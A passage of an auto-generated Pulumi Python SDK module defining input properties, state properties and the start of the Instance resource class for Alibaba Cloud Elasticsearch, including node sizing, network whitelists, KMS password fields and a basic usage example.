@pulumi.getter(name="clientNodeAmount") def client_node_amount(self) -> Optional[pulumi.Input[int]]: """ The Elasticsearch cluster's client node quantity, between 2 and 25. """ return pulumi.get(self, "client_node_amount") @client_node_amount.setter def client_node_amount(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "client_node_amount", value) @property @pulumi.getter(name="clientNodeSpec") def client_node_spec(self) -> Optional[pulumi.Input[str]]: """ The client node spec. If specified, client node will be created. """ return pulumi.get(self, "client_node_spec") @client_node_spec.setter def client_node_spec(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "client_node_spec", value) @property @pulumi.getter(name="dataNodeDiskEncrypted") def data_node_disk_encrypted(self) -> Optional[pulumi.Input[bool]]: """ If encrypt the data node disk. Valid values are `true`, `false`. Default to `false`. """ return pulumi.get(self, "data_node_disk_encrypted") @data_node_disk_encrypted.setter def data_node_disk_encrypted(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "data_node_disk_encrypted", value) @property @pulumi.getter def description(self) -> Optional[pulumi.Input[str]]: """ The description of instance. It a string of 0 to 30 characters. """ return pulumi.get(self, "description") @description.setter def description(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "description", value) @property @pulumi.getter(name="enableKibanaPrivateNetwork") def enable_kibana_private_network(self) -> Optional[pulumi.Input[bool]]: """ Bool, default to false. When it set to true, the instance can close kibana private network access。 """ return pulumi.get(self, "enable_kibana_private_network") @enable_kibana_private_network.setter def enable_kibana_private_network(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "enable_kibana_private_network", value) @property @pulumi.getter(name="enableKibanaPublicNetwork") def enable_kibana_public_network(self) -> Optional[pulumi.Input[bool]]: """ Bool, default to true. When it set to false, the instance can enable kibana public network access。 """ return pulumi.get(self, "enable_kibana_public_network") @enable_kibana_public_network.setter def enable_kibana_public_network(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "enable_kibana_public_network", value) @property @pulumi.getter(name="enablePublic") def enable_public(self) -> Optional[pulumi.Input[bool]]: """ Bool, default to false. When it set to true, the instance can enable public network access。 """ return pulumi.get(self, "enable_public") @enable_public.setter def enable_public(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "enable_public", value) @property @pulumi.getter(name="instanceChargeType") def instance_charge_type(self) -> Optional[pulumi.Input[str]]: """ Valid values are `PrePaid`, `PostPaid`. Default to `PostPaid`. From version 1.69.0, the Elasticsearch cluster allows you to update your instance_charge_ype from `PostPaid` to `PrePaid`, the following attributes are required: `period`. But, updating from `PostPaid` to `PrePaid` is not supported. """ return pulumi.get(self, "instance_charge_type") @instance_charge_type.setter def instance_charge_type(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "instance_charge_type", value) @property @pulumi.getter(name="kibanaPrivateWhitelists") def kibana_private_whitelists(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ Set the Kibana's IP whitelist in private network. """ return pulumi.get(self, "kibana_private_whitelists") @kibana_private_whitelists.setter def kibana_private_whitelists(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "kibana_private_whitelists", value) @property @pulumi.getter(name="kibanaWhitelists") def kibana_whitelists(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ Set the Kibana's IP whitelist in internet network. """ return pulumi.get(self, "kibana_whitelists") @kibana_whitelists.setter def kibana_whitelists(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "kibana_whitelists", value) @property @pulumi.getter(name="kmsEncryptedPassword") def kms_encrypted_password(self) -> Optional[pulumi.Input[str]]: """ An KMS encrypts password used to a instance. If the `password` is filled in, this field will be ignored, but you have to specify one of `password` and `kms_encrypted_password` fields. """ return pulumi.get(self, "kms_encrypted_password") @kms_encrypted_password.setter def kms_encrypted_password(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "kms_encrypted_password", value) @property @pulumi.getter(name="kmsEncryptionContext") def kms_encryption_context(self) -> Optional[pulumi.Input[Mapping[str, Any]]]: """ An KMS encryption context used to decrypt `kms_encrypted_password` before creating or updating instance with `kms_encrypted_password`. See [Encryption Context](https://www.alibabacloud.com/help/doc-detail/42975.htm). It is valid when `kms_encrypted_password` is set. """ return pulumi.get(self, "kms_encryption_context") @kms_encryption_context.setter def kms_encryption_context(self, value: Optional[pulumi.Input[Mapping[str, Any]]]): pulumi.set(self, "kms_encryption_context", value) @property @pulumi.getter(name="masterNodeSpec") def master_node_spec(self) -> Optional[pulumi.Input[str]]: """ The dedicated master node spec. If specified, dedicated master node will be created. """ return pulumi.get(self, "master_node_spec") @master_node_spec.setter def master_node_spec(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "master_node_spec", value) @property @pulumi.getter def password(self) -> Optional[pulumi.Input[str]]: """ The password of the instance. The password can be 8 to 30 characters in length and must contain three of the following conditions: uppercase letters, lowercase letters, numbers, and special characters (`!@#$%^&*()_+-=`). """ return pulumi.get(self, "password") @password.setter def password(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "password", value) @property @pulumi.getter def period(self) -> Optional[pulumi.Input[int]]: """ The duration that you will buy Elasticsearch instance (in month). It is valid when instance_charge_type is `PrePaid`. Valid values: [1~9], 12, 24, 36. Default to 1. From version 1.69.2, when to modify this value, the resource can renewal a `PrePaid` instance. """ return pulumi.get(self, "period") @period.setter def period(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "period", value) @property @pulumi.getter(name="privateWhitelists") def private_whitelists(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ Set the instance's IP whitelist in VPC network. """ return pulumi.get(self, "private_whitelists") @private_whitelists.setter def private_whitelists(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "private_whitelists", value) @property @pulumi.getter def protocol(self) -> Optional[pulumi.Input[str]]: """ Elasticsearch protocol. Supported values: `HTTP`, `HTTPS`.default is `HTTP`. """ return pulumi.get(self, "protocol") @protocol.setter def protocol(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "protocol", value) @property @pulumi.getter(name="publicWhitelists") def public_whitelists(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ Set the instance's IP whitelist in internet network. """ return pulumi.get(self, "public_whitelists") @public_whitelists.setter def public_whitelists(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "public_whitelists", value) @property @pulumi.getter(name="resourceGroupId") def resource_group_id(self) -> Optional[pulumi.Input[str]]: """ The Id of resource group which the Elasticsearch instance belongs. """ return pulumi.get(self, "resource_group_id") @resource_group_id.setter def resource_group_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "resource_group_id", value) @property @pulumi.getter(name="settingConfig") def setting_config(self) -> Optional[pulumi.Input[Mapping[str, Any]]]: """ The YML configuration of the instance.[Detailed introduction](https://www.alibabacloud.com/help/doc-detail/61336.html). """ return pulumi.get(self, "setting_config") @setting_config.setter def setting_config(self, value: Optional[pulumi.Input[Mapping[str, Any]]]): pulumi.set(self, "setting_config", value) @property @pulumi.getter def tags(self) -> Optional[pulumi.Input[Mapping[str, Any]]]: """ A mapping of tags to assign to the resource. - key: It can be up to 128 characters in length. It cannot begin with "aliyun", "acs:". It cannot contain "http://" and "https://". It cannot be a null string. - value: It can be up to 128 characters in length. It cannot contain "http://" and "https://". It can be a null string. """ return pulumi.get(self, "tags") @tags.setter def tags(self, value: Optional[pulumi.Input[Mapping[str, Any]]]): pulumi.set(self, "tags", value) @property @pulumi.getter(name="zoneCount") def zone_count(self) -> Optional[pulumi.Input[int]]: """ The Multi-AZ supported for Elasticsearch, between 1 and 3. The `data_node_amount` value must be an integral multiple of the `zone_count` value. """ return pulumi.get(self, "zone_count") @zone_count.setter def zone_count(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "zone_count", value) @pulumi.input_type class _InstanceState: def __init__(__self__, *, client_node_amount: Optional[pulumi.Input[int]] = None, client_node_spec: Optional[pulumi.Input[str]] = None, data_node_amount: Optional[pulumi.Input[int]] = None, data_node_disk_encrypted: Optional[pulumi.Input[bool]] = None, data_node_disk_size: Optional[pulumi.Input[int]] = None, data_node_disk_type: Optional[pulumi.Input[str]] = None, data_node_spec: Optional[pulumi.Input[str]] = None, description: Optional[pulumi.Input[str]] = None, domain: Optional[pulumi.Input[str]] = None, enable_kibana_private_network: Optional[pulumi.Input[bool]] = None, enable_kibana_public_network: Optional[pulumi.Input[bool]] = None, enable_public: Optional[pulumi.Input[bool]] = None, instance_charge_type: Optional[pulumi.Input[str]] = None, kibana_domain: Optional[pulumi.Input[str]] = None, kibana_port: Optional[pulumi.Input[int]] = None, kibana_private_whitelists: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, kibana_whitelists: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, kms_encrypted_password: Optional[pulumi.Input[str]] = None, kms_encryption_context: Optional[pulumi.Input[Mapping[str, Any]]] = None, master_node_spec: Optional[pulumi.Input[str]] = None, password: Optional[pulumi.Input[str]] = None, period: Optional[pulumi.Input[int]] = None, port: Optional[pulumi.Input[int]] = None, private_whitelists: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, protocol: Optional[pulumi.Input[str]] = None, public_whitelists: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, resource_group_id: Optional[pulumi.Input[str]] = None, setting_config: Optional[pulumi.Input[Mapping[str, Any]]] = None, status: Optional[pulumi.Input[str]] = None, tags: Optional[pulumi.Input[Mapping[str, Any]]] = None, version: Optional[pulumi.Input[str]] = None, vswitch_id: Optional[pulumi.Input[str]] = None, zone_count: Optional[pulumi.Input[int]] = None): """ Input properties used for looking up and filtering Instance resources. :param pulumi.Input[int] client_node_amount: The Elasticsearch cluster's client node quantity, between 2 and 25. :param pulumi.Input[str] client_node_spec: The client node spec. If specified, client node will be created. :param pulumi.Input[int] data_node_amount: The Elasticsearch cluster's data node quantity, between 2 and 50. :param pulumi.Input[bool] data_node_disk_encrypted: If encrypt the data node disk. Valid values are `true`, `false`. Default to `false`. :param pulumi.Input[int] data_node_disk_size: The single data node storage space. - `cloud_ssd`: An SSD disk, supports a maximum of 2048 GiB (2 TB). :param pulumi.Input[str] data_node_disk_type: The data node disk type. Supported values: cloud_ssd, cloud_efficiency. :param pulumi.Input[str] data_node_spec: The data node specifications of the Elasticsearch instance. :param pulumi.Input[str] description: The description of instance. It a string of 0 to 30 characters. :param pulumi.Input[str] domain: Instance connection domain (only VPC network access supported). :param pulumi.Input[bool] enable_kibana_private_network: Bool, default to false. When it set to true, the instance can close kibana private network access。 :param pulumi.Input[bool] enable_kibana_public_network: Bool, default to true. When it set to false, the instance can enable kibana public network access。 :param pulumi.Input[bool] enable_public: Bool, default to false. When it set to true, the instance can enable public network access。 :param pulumi.Input[str] instance_charge_type: Valid values are `PrePaid`, `PostPaid`. Default to `PostPaid`. From version 1.69.0, the Elasticsearch cluster allows you to update your instance_charge_ype from `PostPaid` to `PrePaid`, the following attributes are required: `period`. But, updating from `PostPaid` to `PrePaid` is not supported. :param pulumi.Input[str] kibana_domain: Kibana console domain (Internet access supported). :param pulumi.Input[int] kibana_port: Kibana console port. :param pulumi.Input[Sequence[pulumi.Input[str]]] kibana_private_whitelists: Set the Kibana's IP whitelist in private network. :param pulumi.Input[Sequence[pulumi.Input[str]]] kibana_whitelists: Set the Kibana's IP whitelist in internet network. :param pulumi.Input[str] kms_encrypted_password: An KMS encrypts password used to a instance. If the `password` is filled in, this field will be ignored, but you have to specify one of `password` and `kms_encrypted_password` fields. :param pulumi.Input[Mapping[str, Any]] kms_encryption_context: An KMS encryption context used to decrypt `kms_encrypted_password` before creating or updating instance with `kms_encrypted_password`. See [Encryption Context](https://www.alibabacloud.com/help/doc-detail/42975.htm). It is valid when `kms_encrypted_password` is set. :param pulumi.Input[str] master_node_spec: The dedicated master node spec. If specified, dedicated master node will be created. :param pulumi.Input[str] password: The password of the instance. The password can be 8 to 30 characters in length and must contain three of the following conditions: uppercase letters, lowercase letters, numbers, and special characters (`!@#$%^&*()_+-=`). :param pulumi.Input[int] period: The duration that you will buy Elasticsearch instance (in month). It is valid when instance_charge_type is `PrePaid`. Valid values: [1~9], 12, 24, 36. Default to 1. From version 1.69.2, when to modify this value, the resource can renewal a `PrePaid` instance. :param pulumi.Input[int] port: Instance connection port. :param pulumi.Input[Sequence[pulumi.Input[str]]] private_whitelists: Set the instance's IP whitelist in VPC network. :param pulumi.Input[str] protocol: Elasticsearch protocol. Supported values: `HTTP`, `HTTPS`.default is `HTTP`. :param pulumi.Input[Sequence[pulumi.Input[str]]] public_whitelists: Set the instance's IP whitelist in internet network. :param pulumi.Input[str] resource_group_id: The Id of resource group which the Elasticsearch instance belongs. :param pulumi.Input[Mapping[str, Any]] setting_config: The YML configuration of the instance.[Detailed introduction](https://www.alibabacloud.com/help/doc-detail/61336.html). :param pulumi.Input[str] status: The Elasticsearch instance status. Includes `active`, `activating`, `inactive`. Some operations are denied when status is not `active`. :param pulumi.Input[Mapping[str, Any]] tags: A mapping of tags to assign to the resource. - key: It can be up to 128 characters in length. It cannot begin with "aliyun", "acs:". It cannot contain "http://" and "https://". It cannot be a null string. - value: It can be up to 128 characters in length. It cannot contain "http://" and "https://". It can be a null string. :param pulumi.Input[str] version: Elasticsearch version. Supported values: `5.5.3_with_X-Pack`, `6.3_with_X-Pack`, `6.7_with_X-Pack`, `6.8_with_X-Pack`, `7.4_with_X-Pack` and `7.7_with_X-Pack`. :param pulumi.Input[str] vswitch_id: The ID of VSwitch. :param pulumi.Input[int] zone_count: The Multi-AZ supported for Elasticsearch, between 1 and 3. The `data_node_amount` value must be an integral multiple of the `zone_count` value. """ if client_node_amount is not None: pulumi.set(__self__, "client_node_amount", client_node_amount) if client_node_spec is not None: pulumi.set(__self__, "client_node_spec", client_node_spec) if data_node_amount is not None: pulumi.set(__self__, "data_node_amount", data_node_amount) if data_node_disk_encrypted is not None: pulumi.set(__self__, "data_node_disk_encrypted", data_node_disk_encrypted) if data_node_disk_size is not None: pulumi.set(__self__, "data_node_disk_size", data_node_disk_size) if data_node_disk_type is not None: pulumi.set(__self__, "data_node_disk_type", data_node_disk_type) if data_node_spec is not None: pulumi.set(__self__, "data_node_spec", data_node_spec) if description is not None: pulumi.set(__self__, "description", description) if domain is not None: pulumi.set(__self__, "domain", domain) if enable_kibana_private_network is not None: pulumi.set(__self__, "enable_kibana_private_network", enable_kibana_private_network) if enable_kibana_public_network is not None: pulumi.set(__self__, "enable_kibana_public_network", enable_kibana_public_network) if enable_public is not None: pulumi.set(__self__, "enable_public", enable_public) if instance_charge_type is not None: pulumi.set(__self__, "instance_charge_type", instance_charge_type) if kibana_domain is not None: pulumi.set(__self__, "kibana_domain", kibana_domain) if kibana_port is not None: pulumi.set(__self__, "kibana_port", kibana_port) if kibana_private_whitelists is not None: pulumi.set(__self__, "kibana_private_whitelists", kibana_private_whitelists) if kibana_whitelists is not None: pulumi.set(__self__, "kibana_whitelists", kibana_whitelists) if kms_encrypted_password is not None: pulumi.set(__self__, "kms_encrypted_password", kms_encrypted_password) if kms_encryption_context is not None: pulumi.set(__self__, "kms_encryption_context", kms_encryption_context) if master_node_spec is not None: pulumi.set(__self__, "master_node_spec", master_node_spec) if password is not None: pulumi.set(__self__, "password", password) if period is not None: pulumi.set(__self__, "period", period) if port is not None: pulumi.set(__self__, "port", port) if private_whitelists is not None: pulumi.set(__self__, "private_whitelists", private_whitelists) if protocol is not None: pulumi.set(__self__, "protocol", protocol) if public_whitelists is not None: pulumi.set(__self__, "public_whitelists", public_whitelists) if resource_group_id is not None: pulumi.set(__self__, "resource_group_id", resource_group_id) if setting_config is not None: pulumi.set(__self__, "setting_config", setting_config) if status is not None: pulumi.set(__self__, "status", status) if tags is not None: pulumi.set(__self__, "tags", tags) if version is not None: pulumi.set(__self__, "version", version) if vswitch_id is not None: pulumi.set(__self__, "vswitch_id", vswitch_id) if zone_count is not None: pulumi.set(__self__, "zone_count", zone_count) @property @pulumi.getter(name="clientNodeAmount") def client_node_amount(self) -> Optional[pulumi.Input[int]]: """ The Elasticsearch cluster's client node quantity, between 2 and 25. """ return pulumi.get(self, "client_node_amount") @client_node_amount.setter def client_node_amount(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "client_node_amount", value) @property @pulumi.getter(name="clientNodeSpec") def client_node_spec(self) -> Optional[pulumi.Input[str]]: """ The client node spec. If specified, client node will be created. """ return pulumi.get(self, "client_node_spec") @client_node_spec.setter def client_node_spec(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "client_node_spec", value) @property @pulumi.getter(name="dataNodeAmount") def data_node_amount(self) -> Optional[pulumi.Input[int]]: """ The Elasticsearch cluster's data node quantity, between 2 and 50. """ return pulumi.get(self, "data_node_amount") @data_node_amount.setter def data_node_amount(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "data_node_amount", value) @property @pulumi.getter(name="dataNodeDiskEncrypted") def data_node_disk_encrypted(self) -> Optional[pulumi.Input[bool]]: """ If encrypt the data node disk. Valid values are `true`, `false`. Default to `false`. """ return pulumi.get(self, "data_node_disk_encrypted") @data_node_disk_encrypted.setter def data_node_disk_encrypted(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "data_node_disk_encrypted", value) @property @pulumi.getter(name="dataNodeDiskSize") def data_node_disk_size(self) -> Optional[pulumi.Input[int]]: """ The single data node storage space. - `cloud_ssd`: An SSD disk, supports a maximum of 2048 GiB (2 TB). """ return pulumi.get(self, "data_node_disk_size") @data_node_disk_size.setter def data_node_disk_size(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "data_node_disk_size", value) @property @pulumi.getter(name="dataNodeDiskType") def data_node_disk_type(self) -> Optional[pulumi.Input[str]]: """ The data node disk type. Supported values: cloud_ssd, cloud_efficiency. """ return pulumi.get(self, "data_node_disk_type") @data_node_disk_type.setter def data_node_disk_type(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "data_node_disk_type", value) @property @pulumi.getter(name="dataNodeSpec") def data_node_spec(self) -> Optional[pulumi.Input[str]]: """ The data node specifications of the Elasticsearch instance. """ return pulumi.get(self, "data_node_spec") @data_node_spec.setter def data_node_spec(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "data_node_spec", value) @property @pulumi.getter def description(self) -> Optional[pulumi.Input[str]]: """ The description of instance. It a string of 0 to 30 characters. """ return pulumi.get(self, "description") @description.setter def description(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "description", value) @property @pulumi.getter def domain(self) -> Optional[pulumi.Input[str]]: """ Instance connection domain (only VPC network access supported). """ return pulumi.get(self, "domain") @domain.setter def domain(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "domain", value) @property @pulumi.getter(name="enableKibanaPrivateNetwork") def enable_kibana_private_network(self) -> Optional[pulumi.Input[bool]]: """ Bool, default to false. When it set to true, the instance can close kibana private network access。 """ return pulumi.get(self, "enable_kibana_private_network") @enable_kibana_private_network.setter def enable_kibana_private_network(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "enable_kibana_private_network", value) @property @pulumi.getter(name="enableKibanaPublicNetwork") def enable_kibana_public_network(self) -> Optional[pulumi.Input[bool]]: """ Bool, default to true. When it set to false, the instance can enable kibana public network access。 """ return pulumi.get(self, "enable_kibana_public_network") @enable_kibana_public_network.setter def enable_kibana_public_network(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "enable_kibana_public_network", value) @property @pulumi.getter(name="enablePublic") def enable_public(self) -> Optional[pulumi.Input[bool]]: """ Bool, default to false. When it set to true, the instance can enable public network access。 """ return pulumi.get(self, "enable_public") @enable_public.setter def enable_public(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "enable_public", value) @property @pulumi.getter(name="instanceChargeType") def instance_charge_type(self) -> Optional[pulumi.Input[str]]: """ Valid values are `PrePaid`, `PostPaid`. Default to `PostPaid`. From version 1.69.0, the Elasticsearch cluster allows you to update your instance_charge_ype from `PostPaid` to `PrePaid`, the following attributes are required: `period`. But, updating from `PostPaid` to `PrePaid` is not supported. """ return pulumi.get(self, "instance_charge_type") @instance_charge_type.setter def instance_charge_type(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "instance_charge_type", value) @property @pulumi.getter(name="kibanaDomain") def kibana_domain(self) -> Optional[pulumi.Input[str]]: """ Kibana console domain (Internet access supported). """ return pulumi.get(self, "kibana_domain") @kibana_domain.setter def kibana_domain(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "kibana_domain", value) @property @pulumi.getter(name="kibanaPort") def kibana_port(self) -> Optional[pulumi.Input[int]]: """ Kibana console port. """ return pulumi.get(self, "kibana_port") @kibana_port.setter def kibana_port(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "kibana_port", value) @property @pulumi.getter(name="kibanaPrivateWhitelists") def kibana_private_whitelists(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ Set the Kibana's IP whitelist in private network. """ return pulumi.get(self, "kibana_private_whitelists") @kibana_private_whitelists.setter def kibana_private_whitelists(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "kibana_private_whitelists", value) @property @pulumi.getter(name="kibanaWhitelists") def kibana_whitelists(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ Set the Kibana's IP whitelist in internet network. """ return pulumi.get(self, "kibana_whitelists") @kibana_whitelists.setter def kibana_whitelists(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "kibana_whitelists", value) @property @pulumi.getter(name="kmsEncryptedPassword") def kms_encrypted_password(self) -> Optional[pulumi.Input[str]]: """ An KMS encrypts password used to a instance. If the `password` is filled in, this field will be ignored, but you have to specify one of `password` and `kms_encrypted_password` fields. """ return pulumi.get(self, "kms_encrypted_password") @kms_encrypted_password.setter def kms_encrypted_password(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "kms_encrypted_password", value) @property @pulumi.getter(name="kmsEncryptionContext") def kms_encryption_context(self) -> Optional[pulumi.Input[Mapping[str, Any]]]: """ An KMS encryption context used to decrypt `kms_encrypted_password` before creating or updating instance with `kms_encrypted_password`. See [Encryption Context](https://www.alibabacloud.com/help/doc-detail/42975.htm). It is valid when `kms_encrypted_password` is set. """ return pulumi.get(self, "kms_encryption_context") @kms_encryption_context.setter def kms_encryption_context(self, value: Optional[pulumi.Input[Mapping[str, Any]]]): pulumi.set(self, "kms_encryption_context", value) @property @pulumi.getter(name="masterNodeSpec") def master_node_spec(self) -> Optional[pulumi.Input[str]]: """ The dedicated master node spec. If specified, dedicated master node will be created. """ return pulumi.get(self, "master_node_spec") @master_node_spec.setter def master_node_spec(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "master_node_spec", value) @property @pulumi.getter def password(self) -> Optional[pulumi.Input[str]]: """ The password of the instance. The password can be 8 to 30 characters in length and must contain three of the following conditions: uppercase letters, lowercase letters, numbers, and special characters (`!@#$%^&*()_+-=`). """ return pulumi.get(self, "password") @password.setter def password(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "password", value) @property @pulumi.getter def period(self) -> Optional[pulumi.Input[int]]: """ The duration that you will buy Elasticsearch instance (in month). It is valid when instance_charge_type is `PrePaid`. Valid values: [1~9], 12, 24, 36. Default to 1. From version 1.69.2, when to modify this value, the resource can renewal a `PrePaid` instance. """ return pulumi.get(self, "period") @period.setter def period(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "period", value) @property @pulumi.getter def port(self) -> Optional[pulumi.Input[int]]: """ Instance connection port. """ return pulumi.get(self, "port") @port.setter def port(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "port", value) @property @pulumi.getter(name="privateWhitelists") def private_whitelists(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ Set the instance's IP whitelist in VPC network. """ return pulumi.get(self, "private_whitelists") @private_whitelists.setter def private_whitelists(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "private_whitelists", value) @property @pulumi.getter def protocol(self) -> Optional[pulumi.Input[str]]: """ Elasticsearch protocol. Supported values: `HTTP`, `HTTPS`.default is `HTTP`. """ return pulumi.get(self, "protocol") @protocol.setter def protocol(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "protocol", value) @property @pulumi.getter(name="publicWhitelists") def public_whitelists(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ Set the instance's IP whitelist in internet network. """ return pulumi.get(self, "public_whitelists") @public_whitelists.setter def public_whitelists(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "public_whitelists", value) @property @pulumi.getter(name="resourceGroupId") def resource_group_id(self) -> Optional[pulumi.Input[str]]: """ The Id of resource group which the Elasticsearch instance belongs. """ return pulumi.get(self, "resource_group_id") @resource_group_id.setter def resource_group_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "resource_group_id", value) @property @pulumi.getter(name="settingConfig") def setting_config(self) -> Optional[pulumi.Input[Mapping[str, Any]]]: """ The YML configuration of the instance.[Detailed introduction](https://www.alibabacloud.com/help/doc-detail/61336.html). """ return pulumi.get(self, "setting_config") @setting_config.setter def setting_config(self, value: Optional[pulumi.Input[Mapping[str, Any]]]): pulumi.set(self, "setting_config", value) @property @pulumi.getter def status(self) -> Optional[pulumi.Input[str]]: """ The Elasticsearch instance status. Includes `active`, `activating`, `inactive`. Some operations are denied when status is not `active`. """ return pulumi.get(self, "status") @status.setter def status(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "status", value) @property @pulumi.getter def tags(self) -> Optional[pulumi.Input[Mapping[str, Any]]]: """ A mapping of tags to assign to the resource. - key: It can be up to 128 characters in length. It cannot begin with "aliyun", "acs:". It cannot contain "http://" and "https://". It cannot be a null string. - value: It can be up to 128 characters in length. It cannot contain "http://" and "https://". It can be a null string. """ return pulumi.get(self, "tags") @tags.setter def tags(self, value: Optional[pulumi.Input[Mapping[str, Any]]]): pulumi.set(self, "tags", value) @property @pulumi.getter def version(self) -> Optional[pulumi.Input[str]]: """ Elasticsearch version. Supported values: `5.5.3_with_X-Pack`, `6.3_with_X-Pack`, `6.7_with_X-Pack`, `6.8_with_X-Pack`, `7.4_with_X-Pack` and `7.7_with_X-Pack`. """ return pulumi.get(self, "version") @version.setter def version(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "version", value) @property @pulumi.getter(name="vswitchId") def vswitch_id(self) -> Optional[pulumi.Input[str]]: """ The ID of VSwitch. """ return pulumi.get(self, "vswitch_id") @vswitch_id.setter def vswitch_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "vswitch_id", value) @property @pulumi.getter(name="zoneCount") def zone_count(self) -> Optional[pulumi.Input[int]]: """ The Multi-AZ supported for Elasticsearch, between 1 and 3. The `data_node_amount` value must be an integral multiple of the `zone_count` value. """ return pulumi.get(self, "zone_count") @zone_count.setter def zone_count(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "zone_count", value) class Instance(pulumi.CustomResource): @overload def __init__(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, client_node_amount: Optional[pulumi.Input[int]] = None, client_node_spec: Optional[pulumi.Input[str]] = None, data_node_amount: Optional[pulumi.Input[int]] = None, data_node_disk_encrypted: Optional[pulumi.Input[bool]] = None, data_node_disk_size: Optional[pulumi.Input[int]] = None, data_node_disk_type: Optional[pulumi.Input[str]] = None, data_node_spec: Optional[pulumi.Input[str]] = None, description: Optional[pulumi.Input[str]] = None, enable_kibana_private_network: Optional[pulumi.Input[bool]] = None, enable_kibana_public_network: Optional[pulumi.Input[bool]] = None, enable_public: Optional[pulumi.Input[bool]] = None, instance_charge_type: Optional[pulumi.Input[str]] = None, kibana_private_whitelists: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, kibana_whitelists: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, kms_encrypted_password: Optional[pulumi.Input[str]] = None, kms_encryption_context: Optional[pulumi.Input[Mapping[str, Any]]] = None, master_node_spec: Optional[pulumi.Input[str]] = None, password: Optional[pulumi.Input[str]] = None, period: Optional[pulumi.Input[int]] = None, private_whitelists: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, protocol: Optional[pulumi.Input[str]] = None, public_whitelists: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, resource_group_id: Optional[pulumi.Input[str]] = None, setting_config: Optional[pulumi.Input[Mapping[str, Any]]] = None, tags: Optional[pulumi.Input[Mapping[str, Any]]] = None, version: Optional[pulumi.Input[str]] = None, vswitch_id: Optional[pulumi.Input[str]] = None, zone_count: Optional[pulumi.Input[int]] = None, __props__=None): """ Provides a Elasticsearch instance resource. It contains data nodes, dedicated master node(optional) and etc. It can be associated with private IP whitelists and kibana IP whitelist. > **NOTE:** Only one operation is supported in a request. So if `data_node_spec` and `data_node_disk_size` are both changed, system will respond error. > **NOTE:** At present, `version` can not be modified once instance has been created. ## Example Usage Basic Usage ```python import pulumi import pulumi_alicloud as alicloud instance = alicloud.elasticsearch.Instance("instance", client_node_amount=2, client_node_spec="elasticsearch.sn2ne.large", data_node_amount=2, data_node_disk_size=20, data_node_disk_type="cloud_ssd", data_node_spec="elasticsearch.sn2ne.large", description="description", instance_charge_type="PostPaid", password="Your password", protocol="HTTPS", tags={ "key1": "value1", "key2": "value2", }, version="5.5.3_with_X-Pack", vswitch_id="some vswitch id", zone_count=2) ``` ## Import Elasticsearch can be imported using the id, e.g. ```sh $ pulumi import alicloud:elasticsearch/instance:Instance example es-cn-abcde123456 ``` :param str resource_name: The name of the resource. :param pulumi.ResourceOptions opts: Options for the resource. :param 